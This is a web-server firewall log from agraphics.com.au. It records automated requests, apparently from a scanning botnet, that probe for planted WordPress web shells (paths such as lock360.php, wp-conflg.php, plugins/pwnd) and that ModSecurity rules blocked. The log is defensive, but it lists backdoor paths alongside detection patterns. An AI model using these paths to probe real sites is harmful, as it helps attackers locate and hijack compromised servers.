[Sun Nov 23 08:59:08.557214 2025] [:error] [pid 38738:tid 38760] [client 85.203.21.232:61735] [client 85.203.21.232] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aSJcXAytc6TL9XavPmMbkQAAABI"]
[Sun Nov 23 08:59:08.741654 2025] [:error] [pid 38739:tid 38774] [client 85.203.21.235:26911] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/WordPressCore/include.php"] [unique_id "aSJcXAdvEgJm2n2cDmplTgAAAEU"]
[Sun Nov 23 08:59:08.928073 2025] [:error] [pid 38738:tid 38759] [client 85.203.21.58:65105] [client 85.203.21.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/WordPressCore/"] [unique_id "aSJcXAytc6TL9XavPmMbkgAAABE"]
[Sun Nov 23 08:59:09.160497 2025] [:error] [pid 38739:tid 38773] [client 85.203.21.195:22289] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/chosen.php"] [unique_id "aSJcXQdvEgJm2n2cDmplUQAAAEQ"]
[Sun Nov 23 08:59:09.388795 2025] [:error] [pid 38739:tid 38777] [client 85.203.21.170:42467] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/plugins/colorpicker/"] [unique_id "aSJcXQdvEgJm2n2cDmplUgAAAEg"]
[Sun Nov 23 08:59:09.632711 2025] [:error] [pid 38739:tid 38785] [client 85.203.21.208:61205] [client 85.203.21.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/chosen.php"] [unique_id "aSJcXQdvEgJm2n2cDmplUwAAAFA"]
[Sun Nov 23 08:59:09.915410 2025] [:error] [pid 38739:tid 38787] [client 85.203.21.167:38345] [client 85.203.21.167] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aSJcXQdvEgJm2n2cDmplVQAAAFI"]
[Sun Nov 23 08:59:10.122655 2025] [:error] [pid 38739:tid 38791] [client 85.203.21.221:33227] [client 85.203.21.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/src/Utility/about.php"] [unique_id "aSJcXgdvEgJm2n2cDmplVgAAAFY"]
[Sun Nov 23 08:59:10.365335 2025] [:error] [pid 38739:tid 38783] [client 85.203.21.186:39539] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwenty/404.php"] [unique_id "aSJcXgdvEgJm2n2cDmplVwAAAE4"]
[Sun Nov 23 08:59:10.780136 2025] [:error] [pid 38739:tid 38788] [client 85.203.21.222:33177] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aSJcXgdvEgJm2n2cDmplWQAAAFM"]
[Sun Nov 23 08:59:10.987812 2025] [:error] [pid 38739:tid 38772] [client 85.203.21.167:40385] [client 85.203.21.167] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/classwithtostring.php"] [unique_id "aSJcXgdvEgJm2n2cDmplWwAAAEM"]
[Sun Nov 23 08:59:11.241121 2025] [:error] [pid 38739:tid 38777] [client 85.203.21.162:30835] [client 85.203.21.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/post.php"] [unique_id "aSJcXwdvEgJm2n2cDmplXAAAAEg"]
[Sun Nov 23 08:59:11.506147 2025] [:error] [pid 38739:tid 38782] [client 85.203.21.238:60763] [client 85.203.21.238] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/"] [unique_id "aSJcXwdvEgJm2n2cDmplXwAAAE0"]
[Sun Nov 23 08:59:11.723048 2025] [:error] [pid 44652:tid 44722] [client 85.203.21.232:64083] [client 85.203.21.232] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/option-old.php"] [unique_id "aSJcX9iQFwsyXQDhwyAOcQAAARA"]
[Sun Nov 23 08:59:11.965718 2025] [:error] [pid 44652:tid 44708] [client 193.37.32.3:59015] [client 193.37.32.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aSJcX9iQFwsyXQDhwyAOcgAAAQI"]
[Sun Nov 23 08:59:12.351472 2025] [:error] [pid 38739:tid 38790] [client 85.203.21.221:35421] [client 85.203.21.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aSJcYAdvEgJm2n2cDmplYwAAAFU"]
[Sun Nov 23 08:59:12.542347 2025] [:error] [pid 38738:tid 38746] [client 85.203.21.195:65007] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/modern/about.php"] [unique_id "aSJcYAytc6TL9XavPmMbmQAAAAQ"]
[Sun Nov 23 08:59:12.754408 2025] [:error] [pid 38739:tid 38788] [client 85.203.21.162:24907] [client 85.203.21.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/cloud.php"] [unique_id "aSJcYAdvEgJm2n2cDmplZAAAAFM"]
[Sun Nov 23 08:59:12.960703 2025] [:error] [pid 38740:tid 38803] [client 85.203.21.197:29539] [client 85.203.21.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/woh.php"] [unique_id "aSJcYA13QPZSi6O8umXcugAAAIc"]
[Sun Nov 23 08:59:13.274369 2025] [:error] [pid 38738:tid 38764] [client 193.37.32.1:61029] [client 193.37.32.1] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/navigation/"] [unique_id "aSJcYQytc6TL9XavPmMbmgAAABY"]
[Sun Nov 23 08:59:13.475342 2025] [:error] [pid 44652:tid 44711] [client 85.203.21.190:55471] [client 85.203.21.190] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/click.php"] [unique_id "aSJcYdiQFwsyXQDhwyAOegAAAQU"]
[Sun Nov 23 08:59:13.749439 2025] [:error] [pid 38739:tid 38778] [client 85.203.21.197:61861] [client 85.203.21.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/shelp.php"] [unique_id "aSJcYQdvEgJm2n2cDmplaQAAAEk"]
[Sun Nov 23 08:59:13.934196 2025] [:error] [pid 38738:tid 38750] [client 85.203.21.45:23237] [client 85.203.21.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aSJcYQytc6TL9XavPmMbngAAAAg"]
[Sun Nov 23 08:59:14.154341 2025] [:error] [pid 38738:tid 38744] [client 85.203.21.227:45691] [client 85.203.21.227] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/"] [unique_id "aSJcYgytc6TL9XavPmMbnwAAAAI"]
[Sun Nov 23 08:59:14.375423 2025] [:error] [pid 44652:tid 44714] [client 85.203.21.157:34939] [client 85.203.21.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/wp-login.php"] [unique_id "aSJcYtiQFwsyXQDhwyAOfAAAAQg"]
[Sun Nov 23 08:59:14.564445 2025] [:error] [pid 38739:tid 38784] [client 85.203.21.176:52547] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/wp-conflg.php"] [unique_id "aSJcYgdvEgJm2n2cDmplawAAAE8"]
[Sun Nov 23 08:59:14.766844 2025] [:error] [pid 38738:tid 38758] [client 85.203.21.164:44789] [client 85.203.21.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "aSJcYgytc6TL9XavPmMbogAAABA"]
[Sun Nov 23 08:59:14.953599 2025] [:error] [pid 38824:tid 38845] [client 85.203.21.228:22581] [client 85.203.21.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/namespaced/Core/about.php"] [unique_id "aSJcYk8WZjXLvbHTHPcNnAAAANI"]
[Sun Nov 23 08:59:20.159823 2025] [:error] [pid 38740:tid 38817] [client 85.203.21.227:53227] [client 85.203.21.227] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/chosen.php"] [unique_id "aSJcaA13QPZSi6O8umXcwAAAAJU"]
[Sun Nov 23 08:59:20.408650 2025] [:error] [pid 38824:tid 38830] [client 85.203.21.223:54545] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-cron-backup.php"] [unique_id "aSJcaE8WZjXLvbHTHPcNswAAAMM"]
[Sun Nov 23 08:59:20.746387 2025] [:error] [pid 38739:tid 38793] [client 85.203.21.156:51715] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentyfive/include.php"] [unique_id "aSJcaAdvEgJm2n2cDmplhAAAAFg"]
[Sun Nov 23 08:59:20.940387 2025] [:error] [pid 38740:tid 38804] [client 85.203.21.184:61403] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/themes.php"] [unique_id "aSJcaA13QPZSi6O8umXcwgAAAIg"]
[Sun Nov 23 08:59:21.161900 2025] [:error] [pid 38738:tid 38751] [client 85.203.21.161:49479] [client 85.203.21.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "aSJcaQytc6TL9XavPmMbywAAAAk"]
[Sun Nov 23 08:59:21.349250 2025] [:error] [pid 38738:tid 38758] [client 85.203.21.188:23965] [client 85.203.21.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/plugins/directionality/"] [unique_id "aSJcaQytc6TL9XavPmMbzQAAABA"]
[Sun Nov 23 08:59:21.628372 2025] [:error] [pid 38738:tid 38745] [client 85.203.21.226:24245] [client 85.203.21.226] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/chosen.php"] [unique_id "aSJcaQytc6TL9XavPmMb0gAAAAM"]
[Sun Nov 23 08:59:21.945558 2025] [:error] [pid 38739:tid 38783] [client 85.203.21.202:35361] [client 85.203.21.202] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/"] [unique_id "aSJcaQdvEgJm2n2cDmpliQAAAE4"]
[Sun Nov 23 08:59:22.145361 2025] [:error] [pid 38739:tid 38779] [client 85.203.21.156:31659] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/wp-content.php"] [unique_id "aSJcagdvEgJm2n2cDmpliwAAAEo"]
[Sun Nov 23 08:59:22.386051 2025] [:error] [pid 38739:tid 38773] [client 85.203.21.239:41091] [client 85.203.21.239] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/cc.php"] [unique_id "aSJcagdvEgJm2n2cDmpljQAAAEQ"]
[Sun Nov 23 08:59:22.583970 2025] [:error] [pid 38824:tid 38834] [client 85.203.21.58:24593] [client 85.203.21.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aSJcak8WZjXLvbHTHPcNtQAAAMc"]
[Sun Nov 23 08:59:22.883992 2025] [:error] [pid 38740:tid 38803] [client 85.203.21.227:59225] [client 85.203.21.227] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/menu.php"] [unique_id "aSJcag13QPZSi6O8umXcxAAAAIc"]
[Sun Nov 23 08:59:23.109216 2025] [:error] [pid 44652:tid 44730] [client 85.203.21.207:27545] [client 85.203.21.207] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/imgareaselect/"] [unique_id "aSJca9iQFwsyXQDhwyAOgQAAARg"]
[Sun Nov 23 08:59:23.295183 2025] [:error] [pid 38738:tid 38748] [client 85.203.21.184:37641] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/post-terms/"] [unique_id "aSJcawytc6TL9XavPmMb1gAAAAY"]
[Sun Nov 23 08:59:23.567382 2025] [:error] [pid 44652:tid 44722] [client 85.203.21.227:64139] [client 85.203.21.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/image/about.php"] [unique_id "aSJca9iQFwsyXQDhwyAOggAAARA"]
[Sun Nov 23 08:59:23.802513 2025] [:error] [pid 38740:tid 38811] [client 85.203.21.170:29873] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/chosen.php"] [unique_id "aSJcaw13QPZSi6O8umXcxwAAAI8"]
[Sun Nov 23 08:59:24.100567 2025] [:error] [pid 44652:tid 44708] [client 85.203.21.188:21145] [client 85.203.21.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/details/about.php"] [unique_id "aSJcbNiQFwsyXQDhwyAOgwAAAQI"]
[Sun Nov 23 08:59:24.291742 2025] [:error] [pid 38738:tid 38743] [client 85.203.21.176:64423] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "aSJcbAytc6TL9XavPmMb1wAAAAE"]
[Sun Nov 23 08:59:27.692017 2025] [:error] [pid 38739:tid 38780] [client 193.37.32.1:50001] [client 193.37.32.1] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/contact.php"] [unique_id "aSJcbwdvEgJm2n2cDmplnwAAAEs"]
[Sun Nov 23 08:59:27.979535 2025] [:error] [pid 38739:tid 38777] [client 85.203.21.159:46327] [client 85.203.21.159] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/column/"] [unique_id "aSJcbwdvEgJm2n2cDmploAAAAEg"]
[Sun Nov 23 08:59:28.159566 2025] [:error] [pid 38738:tid 38765] [client 85.203.21.207:40935] [client 85.203.21.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/more/about.php"] [unique_id "aSJccAytc6TL9XavPmMb2wAAABc"]
[Sun Nov 23 08:59:28.364407 2025] [:error] [pid 38740:tid 38800] [client 193.37.32.2:51669] [client 193.37.32.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-json-ajax-session.php"] [unique_id "aSJccA13QPZSi6O8umXczAAAAIQ"]
[Sun Nov 23 08:59:33.593190 2025] [:error] [pid 38738:tid 38748] [client 85.203.21.52:45337] [client 85.203.21.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/autoload_classmap.php"] [unique_id "aSJcdQytc6TL9XavPmMb7gAAAAY"]
[Sun Nov 23 08:59:34.939880 2025] [:error] [pid 44652:tid 44717] [client 85.203.21.210:59603] [client 85.203.21.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/search/"] [unique_id "aSJcdtiQFwsyXQDhwyAOiQAAAQs"]
[Sun Nov 23 08:59:35.168691 2025] [:error] [pid 38739:tid 38780] [client 85.203.21.217:42611] [client 85.203.21.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/post-template/"] [unique_id "aSJcdwdvEgJm2n2cDmplqwAAAEs"]
[Sun Nov 23 08:59:35.416014 2025] [:error] [pid 44652:tid 44710] [client 85.203.21.222:34269] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/phpad/acp.php"] [unique_id "aSJcd9iQFwsyXQDhwyAOigAAAQQ"]
